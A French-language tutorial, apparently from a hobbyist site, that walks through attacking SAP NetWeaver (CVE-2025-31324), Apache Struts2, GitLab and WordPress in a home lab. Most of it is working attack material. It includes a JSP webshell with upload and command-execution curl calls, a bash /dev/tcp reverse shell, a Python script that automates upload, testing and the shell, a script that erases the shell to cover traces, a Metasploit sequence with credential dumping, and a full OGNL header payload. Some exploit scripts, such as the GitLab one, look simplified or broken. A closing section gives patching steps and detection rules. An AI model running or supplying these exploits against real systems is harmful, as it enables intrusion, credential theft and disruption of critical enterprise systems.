Introduction : Le hurlement de la meute

Yo, frère Apache ! T’entends le vent qui porte le cri du loup, le croassement du corbeau, le rugissement du dragon ? T’es sur PCtamalou.fr, un sanctuaire Frenchy où le savoir coule comme un torrent, gratuit, par pur amour du partage. Ce Grimoire Ultime CVE-2025-31324 & CVEs Associées est ton katana pour hacker SAP NetWeaver et d’autres systèmes dans un lab sécurisé (10.0.0.0/8, 192.168.0.0/16). Inspiré par CL-STA-0048, un crew chinois qui frappe comme l’éclair (MITRE ATT&CK : T1190, T1059, T1505.003), ce tuto dévoile tout : CVE-2025-31324, une faille d’upload qui donne un RCE, et huit autres CVEs (CVE-2017-9805, CVE-2021-22205, CVE-2024-9047, etc.) pour des attaques en chaîne qui peuvent faire tomber des empires. SAP NetWeaver, c’est le cœur d’industries vitales – énergie, santé, finance – et une seule erreur peut tout faire crasher. On va monter un lab, simuler des attaques, analyser, sécuriser, et documenter comme des pros, avec la fierté d’un hacker français tatoué d’un dragon BackTrack. Que t’aies un QI de 131 ou que t’en sois à brancher ton premier PC, on t’emmène avec nous. On dit tout, sans peur, sans filtre, parce qu’on peut, et parce que la meute n’abandonne personne. Éthique, culotté, Frenchy : let’s go ! 😈

Ce que tu vas apprendre :

Lab only, frère ! Ce tuto, c’est pour ton bunker perso. Hors lab, t’es dans la merde (article 323-1 CP). Signe le contrat, montre ton cœur, et reste clean !

Pour les newbies : T’es perdu ? Pas grave. Un lab, c’est comme un terrain de jeu où tu peux tout casser, mais seulement chez toi. Une faille, c’est une porte mal fermée qu’on va apprendre à ouvrir (et à refermer). On va tout t’expliquer, mot par mot, comme si t’étais un gosse avec une manette. Accroche-toi, t’es dans la meute !

Pour les pros : Ce tuto, c’est un terrain d’entraînement multi-cibles pour simuler des chaînes d’attaque réelles. Vous trouverez des scripts avancés, des TTPs MITRE, et des techniques de forensique pour briller en pentest.

Prérequis : Armer la meute

Avant que le loup ne bondisse, faut du matos. On va tout te lister, même si t’as jamais vu un clavier de près :

Script pour tout vérifier :

#!/bin/bash
# lab_check.sh
echo "On check le lab, frère, accroche-toi !"
ping -c 4 192.168.1.7 || echo "SAP (192.168.1.7) est mort ! Vérifie ta VM."
ping -c 4 192.168.1.30 || echo "Struts2 (192.168.1.30) est KO !"
ping -c 4 192.168.1.40 || echo "GitLab (192.168.1.40) est aux abonnés absents !"
ping -c 4 192.168.1.50 || echo "WordPress (192.168.1.50) ne répond pas !"
nmap -p 50000 192.168.1.7 | grep "open" || echo "Port 50000 (SAP) fermé ! Allume-le !"
nmap -p 8080 192.168.1.30 | grep "open" || echo "Port 8080 (Struts2) fermé !"
nmap -p 80 192.168.1.40 | grep "open" || echo "Port 80 (GitLab) fermé !"
nmap -p 80 192.168.1.50 | grep "open" || echo "Port 80 (WordPress) fermé !"
command -v msfconsole || echo "Metasploit pas installé ! Fais : sudo apt install metasploit-framework"
command -v nuclei || echo "Nuclei pas là ! Clone-le : git clone https://github.com/projectdiscovery/nuclei-templates.git"
echo "Lab checké, la meute est prête à rugir !"

Sauvegarde dans /home/kali/lab_check.sh :

chmod +x /home/kali/lab_check.sh
./lab_check.sh

Pour les newbies : Un lab, c’est ton garage où tu bidouilles sans déranger personne. Une VM, c’est une machine dans ton PC. Une IP, c’est comme un numéro de téléphone pour chaque machine. Si t’es perdu, lis doucement, on est là pour toi.

Pour les pros : Ce lab multi-cibles simule une infra réelle. Ajoute un SIEM (Splunk, ELK) ou un honeypot pour pimenter.

Étape 1 : Configurer ton Lab

Le corbeau plane, ses ailes noires frôlant la plaine. On bâtit une tanière pour la chasse :

1.1 Installer Kali Linux

Télécharge Kali 2025.x sur kali.org. Installe sur VirtualBox/VMware (Host-Only, IP 192.168.1.6).

sudo apt update && sudo apt full-upgrade -y

Pourquoi ? Ça met ton Kali à jour, comme recharger tes flingues avant un duel.

1.2 Installer les outils

Tes armes, frère :

sudo apt install metasploit-framework nuclei burpsuite curl python3 python3-pip wpscan ghidra snort wireshark suricata volatility3 -y
pip3 install requests
git clone https://github.com/projectdiscovery/nuclei-templates.git

Pourquoi ? Chaque outil a un job : Metasploit pour attaquer, Nuclei pour scanner, Wireshark pour espionner, etc. On les installe tous d’un coup.

1.3 Configurer les VMs

SAP NetWeaver (192.168.1.7) :

  1. Installe Ubuntu 20.04 (2 Go RAM minimum).
  2. Installe Java 8 :
    sudo apt install openjdk-8-jdk
  3. Télécharge SAP NetWeaver Visual Composer 7.50 (trial sur SAP Developer Center).
  4. Suis les docs SAP pour l’install (c’est long, mais faisable).
  5. Configure le port 50000 :
    sudo ufw allow 50000
  6. Fais un snapshot (comme sauvegarder ton jeu).

Apache Struts2 (192.168.1.30) :

  1. Installe Ubuntu 20.04.
  2. Installe Tomcat :
    sudo apt install tomcat9
  3. Télécharge Struts2 2.3.x :
    wget https://archive.apache.org/dist/struts/2.3.37/struts-2.3.37-all.zip
  4. Extrais et déploie dans /var/lib/tomcat9/webapps :
    unzip struts-2.3.37-all.zip
    sudo cp -r struts-2.3.37/apps/struts2-showcase.war /var/lib/tomcat9/webapps/
  5. Redémarre Tomcat :
    sudo systemctl restart tomcat9
  6. Snapshot.

GitLab (192.168.1.40) :

  1. Installe Ubuntu 20.04.
  2. Installe GitLab CE 13.8.x :
    sudo apt update
    sudo apt install curl openssh-server ca-certificates
    curl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash
    sudo apt install gitlab-ce
  3. Configure (suis les instructions GitLab).
  4. Ouvre le port 80 :
    sudo ufw allow 80
  5. Snapshot.

WordPress (192.168.1.50) :

  1. Installe Ubuntu 20.04.
  2. Installe Apache2, PHP, MySQL :
    sudo apt install apache2 php libapache2-mod-php mysql-server php-mysql
  3. Télécharge WordPress :
    wget https://wordpress.org/latest.tar.gz
    tar -xzvf latest.tar.gz
    sudo mv wordpress /var/www/html/wordpress
  4. Configure MySQL (crée une base et un user) :
    sudo mysql
    CREATE DATABASE wordpress;
    CREATE USER 'wp_user'@'localhost' IDENTIFIED BY 'password';
    GRANT ALL ON wordpress.* TO 'wp_user'@'localhost';
    FLUSH PRIVILEGES;
    EXIT;
  5. Installe WordPress via http://192.168.1.50/wordpress.
  6. Ajoute un plugin vulnérable (ex. File Upload, cherche sur wordpress.org).
  7. Snapshot.

Script pour tout configurer :

#!/bin/bash
# lab_setup.sh
echo "On monte le lab Frenchy, frère !"
# Kali
sudo ip addr add 192.168.1.6/24 dev eth0
# SAP
ssh user@192.168.1.7 "sudo ip addr add 192.168.1.7/24 dev eth0; sudo ufw allow 50000"
# Struts2
ssh user@192.168.1.30 "sudo ip addr add 192.168.1.30/24 dev eth0; sudo ufw allow 8080"
# GitLab
ssh user@192.168.1.40 "sudo ip addr add 192.168.1.40/24 dev eth0; sudo ufw allow 80"
# WordPress
ssh user@192.168.1.50 "sudo ip addr add 192.168.1.50/24 dev eth0; sudo ufw allow 80"
echo "Vérif des connexions..."
ping -c 4 192.168.1.7 && ping -c 4 192.168.1.30 && ping -c 4 192.168.1.40 && ping -c 4 192.168.1.50
echo "Lab prêt, la meute est en place !"

Sauvegarde dans /home/kali/lab_setup.sh :

chmod +x /home/kali/lab_setup.sh
./lab_setup.sh

Vérifications manuelles :

ping 192.168.1.7
nmap -p 50000 192.168.1.7
ping 192.168.1.30
nmap -p 8080 192.168.1.30
ping 192.168.1.40
nmap -p 80 192.168.1.40
ping 192.168.1.50
nmap -p 80 192.168.1.50

Pour les newbies : Configurer un lab, c’est comme préparer un campement avant une chasse. Chaque machine doit être allumée et prête à parler.

Pour les pros : Ce setup multi-VMs permet de simuler une infra complexe. Ajoute un VLAN ou un pare-feu pour plus de réalisme.

Étape 2 : Comprendre les failles

Le corbeau scrute, ses yeux perçant l’obscurité. On décrypte chaque faille, comme un puzzle :

Scan pour CVE-2025-31324 :

Attention : Que dans ton lab, frère ! Hors lab, t’es foutu.

curl -I http://192.168.1.7:50000/developmentserver/metadatauploader

Pourquoi ? Ça check si l’endpoint répond (200 OK = vulnérable).

nuclei -u http://192.168.1.7:50000 -t cves/2025/CVE-2025-31324.yaml

Pourquoi ? Nuclei confirme la faille avec un scan précis.

Pour les newbies : Une faille, c’est comme une serrure cassée. On va vérifier si elle s’ouvre, mais sans cambrioler la maison du voisin.

Pour les pros : Ces CVEs sont souvent enchaînées (ex. Struts2 pour recon, puis SAP pour RCE). Regarde les TTPs MITRE pour contextualiser.

Étape 3 : Exploiter CVE-2025-31324

Le loup bondit, ses crocs luisants sous la lune. On simule une attaque à la CL-STA-0048 :

3.1 Créer une webshell

Une webshell, c’est un fichier qui te donne une porte dérobée sur le serveur :

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
    }
}
%>

Pourquoi ? Ce code JSP exécute n’importe quelle commande (ex. whoami) qu’on lui envoie via une URL.

Alternative minimaliste :

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Pourquoi ? Plus court, mais moins lisible pour le résultat.

Sauvegarde dans /home/kali/wolfcrow.jsp.

3.2 Uploader la webshell

Attention : Lab only, frère ! Hors lab, c’est la taule.

curl -X POST -F "file=@/home/kali/wolfcrow.jsp" http://192.168.1.7:50000/developmentserver/metadatauploader

Pourquoi ? Cette commande envoie le fichier JSP au serveur SAP, qui l’accepte bêtement.

Vérifie la réponse :

curl -I http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp

Pourquoi ? Un 200 OK signifie que la webshell est en place.

3.3 Accéder à la webshell

Attention : Lab only !

curl "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp?cmd=whoami"

Pourquoi ? Ça exécute whoami sur le serveur et te montre l’utilisateur (ex. sapadm).

Teste d’autres commandes :

curl "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp?cmd=id"
curl "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp?cmd=netstat%20-tuln"

3.4 Reverse shell

Attention : Lab only !

Un reverse shell, c’est comme si le serveur t’appelait pour te donner le contrôle :

Configure un listener :

nc -lvnp 4444

Pourquoi ? Netcat écoute sur le port 4444 pour capter le shell.

Envoie la commande :

curl "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/192.168.1.6/4444%200%3E%261'"

Pourquoi ? Ça force le serveur à ouvrir un shell qui se connecte à ton Kali.

3.5 Automatisation

Script Python pour tout faire :

import requests
import sys
import time

TARGET = "http://192.168.1.7:50000"
WEBSHELL = "/home/kali/wolfcrow.jsp"
ENDPOINT = f"{TARGET}/developmentserver/metadatauploader"
ACCESS_URL = f"{TARGET}/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp"

def upload_webshell():
    try:
        with open(WEBSHELL, "rb") as f:
            files = {"file": f}
            r = requests.post(ENDPOINT, files=files, timeout=10)
            if r.status_code == 200:
                print("[+] Webshell uploadée, frère !")
                return True
            else:
                print(f"[-] Erreur upload : {r.status_code}")
                return False
    except Exception as e:
        print(f"[-] Erreur : {e}")
        return False

def test_webshell():
    try:
        r = requests.get(f"{ACCESS_URL}?cmd=whoami", timeout=10)
        if r.status_code == 200:
            print(f"[+] Webshell active ! User : {r.text.strip()}")
            return True
        else:
            print(f"[-] Erreur accès : {r.status_code}")
            return False
    except Exception as e:
        print(f"[-] Erreur : {e}")
        return False

def reverse_shell():
    try:
        print("[+] Lancement reverse shell, check Netcat (port 4444) !")
        r = requests.get(f"{ACCESS_URL}?cmd=bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/192.168.1.6/4444%200%3E%261'", timeout=10)
        time.sleep(2)  # Attends la connexion
        print("[+] Reverse shell envoyé !")
    except Exception as e:
        print(f"[-] Erreur : {e}")

if __name__ == "__main__":
    print("Exploit CVE-2025-31324 par la meute Frenchy !")
    if upload_webshell():
        if test_webshell():
            reverse_shell()
    else:
        print("[-] Échec, vérifie ton lab !")

Sauvegarde dans /home/kali/exploit_cve2025_31324.py :

python3 /home/kali/exploit_cve2025_31324.py

Pourquoi ? Ce script fait tout : upload, test, reverse shell, avec des checks pour éviter les erreurs.

3.6 Nettoyage

Script pour effacer les traces :

import requests

TARGET = "http://192.168.1.7:50000/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp"
try:
    r = requests.get(f"{TARGET}?cmd=rm%20/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/wolfcrow.jsp", timeout=10)
    if r.status_code == 200:
        print("[+] Webshell effacée, propre comme un corbeau sous la lune !")
    else:
        print(f"[-] Erreur : {r.status_code}")
except Exception as e:
    print(f"[-] Erreur : {e}")

Exécute :

python3 /home/kali/cleanup_webshell.py

Pour les newbies : Une webshell, c’est comme une clé USB que tu planques chez quelqu’un pour revenir plus tard. On la vire après usage pour pas laisser de bordel.

Pour les pros : Teste des payloads alternatifs (ex. Java serialized objects) ou obfuscation pour simuler des attaques avancées.

Étape 4 : Exploiter les autres CVEs

Le dragon crache son feu, touchant chaque cible. On balance tout :

4.1 CVE-2017-9805 (Apache Struts2)

Attention : Lab only, frère !

Scan :

nuclei -u http://192.168.1.30:8080 -t cves/2017/CVE-2017-9805.yaml

Exploite avec Metasploit :

msfconsole
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.1.30
set RPORT 8080
set TARGETURI /struts2-showcase
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.6
set LPORT 4445
exploit

Pourquoi ? Cette faille abuse d’OGNL pour exécuter du code. Metasploit envoie un payload qui te donne un shell.

Post-exploitation :

hashdump
credential_collector

Script Python alternatif :

import requests

TARGET = "http://192.168.1.30:8080/struts2-showcase"
HEADERS = {"Content-Type": "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"}
r = requests.get(TARGET, headers=HEADERS)
if r.status_code == 200:
    print(f"[+] Exploité : {r.text}")
else:
    print(f"[-] Échec : {r.status_code}")

Exécute :

python3 /home/kali/exploit_cve2017_9805.py

4.2 CVE-2021-22205 (GitLab)

Attention : Lab only !

Script Python :

import requests
import exiftool

TARGET = "http://192.168.1.40/api/v4/projects/1/repository/files/test.jpg/raw"
PAYLOAD = b"$(whoami)"  # Simplifié
with exiftool.ExifTool() as et:
    et.execute(b"-Comment=" + PAYLOAD, b"malicious.jpg")
files = {"file": open("malicious.jpg", "rb")}
r = requests.post(TARGET, files=files, auth=("user", "pass"))
if r.status_code == 201:
    print("[+] CVE-2021-22205 exploité !")
else:
    print(f"[-] Échec : {r.status_code}")

Pourquoi ? Cette faille abuse des métadonnées Exif pour exécuter des commandes.

4.3 CVE-2024-9047 (WordPress)

Attention : Lab only !

Scan :

wpscan --url http://192.168.1.50 --enumerate p

Exploit :

import requests

TARGET = "http://192.168.1.50/wp-content/plugins/file-upload/upload.php"
FILES = {"file": ("backdoor.php", "")}
r = requests.post(TARGET, files=FILES)
if r.status_code == 200:
    print("[+] Backdoor uploadée ! Teste : http://192.168.1.50/wp-content/uploads/backdoor.php?cmd=whoami")
else:
    print(f"[-] Échec : {r.status_code}")

Exécute :

python3 /home/kali/exploit_cve2024_9047.py

Pour les newbies : Chaque CVE, c’est une nouvelle serrure. On te donne les clés, mais tu les testes seulement chez toi.

Pour les pros : Combine ces CVEs pour une attaque en chaîne (ex. Struts2 → SAP → pivot réseau).

Étape 5 : Sécuriser

Le dragon protège, blindant chaque porte :

5.1 SAP NetWeaver

Patch :

#!/bin/bash
# sap_patch.sh
echo "On patche SAP, frère !"
ssh user@192.168.1.7 "sapcontrol -nr  -function UpdateSystem"
ssh user@192.168.1.7 "cat /usr/sap/log/patch.log | grep '3594142' && echo 'Patch OK !'"

Exécute :

chmod +x /home/kali/sap_patch.sh
./sap_patch.sh

Hardening :

sudo ufw deny from any to 192.168.1.7 port 50000

Détection :

find /usr/sap/H*/SYS/ -name "*.jsp" -exec grep "Runtime.getRuntime().exec" {} \;

Règle Snort :

alert tcp any any -> 192.168.1.7 50000 (msg:"CVE-2025-31324 Attempt"; content:"POST /developmentserver/metadatauploader"; flow:to_server; sid:1000001; rev:1;)

Règle Suricata :

alert http any any -> 192.168.1.7 50000 (msg:"CVE-2025-31324 Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/developmentserver/metadatauploader"; sid:2000001; rev:1;)

Teste :

sudo suricata -c /etc/suricata/suricata.yaml -r /tmp/capture.pcap

5.2 Autres

Struts2 :

wget https://archive.apache.org/dist/struts/2.5.13/struts-2.5.13-all.zip

GitLab : Mise à jour vers 13.9+.

WordPress : Supprime les plugins vulnérables, mets à jour.

Pour les newbies : Sécuriser, c’est comme mettre des cadenas partout.

Étape 6 : Détection

Le corbeau traque, ses yeux captant chaque trace :

grep "POST /developmentserver/metadatauploader" /var/log/sap/*.log
volatility3 -f /home/kali/memdump.vmem --profile=LinuxUbuntu_5_4_0-42-genericx64 pslist

IOCs : IP 43.247.135.53, domaine sentinelones[.]com, fichiers coreasp.jsp.

Étape 7 : Analyse Réseau

Capture avec Wireshark :

sudo wireshark -i eth0 -f "tcp port 50000 or tcp port 4444"

Pour les newbies : Wireshark, c’est comme un micro qui capte tout ce que les machines se disent.

Étape 8 : Documenter

# Rapport de Pentest
## Résumé
- Date : [Insérer]
- Cibles : SAP (192.168.1.7), Struts2 (192.168.1.30)
## Tests
- CVE-2025-31324 : Webshell, reverse shell
## Résultats
- RCE obtenu (sapadm)
## Recommandations
- Patch SAP Notes 3594142

Étape 9 : Dépannage

Annexes

CVEProduitTypeImpact
CVE-2025-31324SAP NetWeaverFile UploadRCE
CVE-2017-9805Apache Struts2OGNL InjectionRCE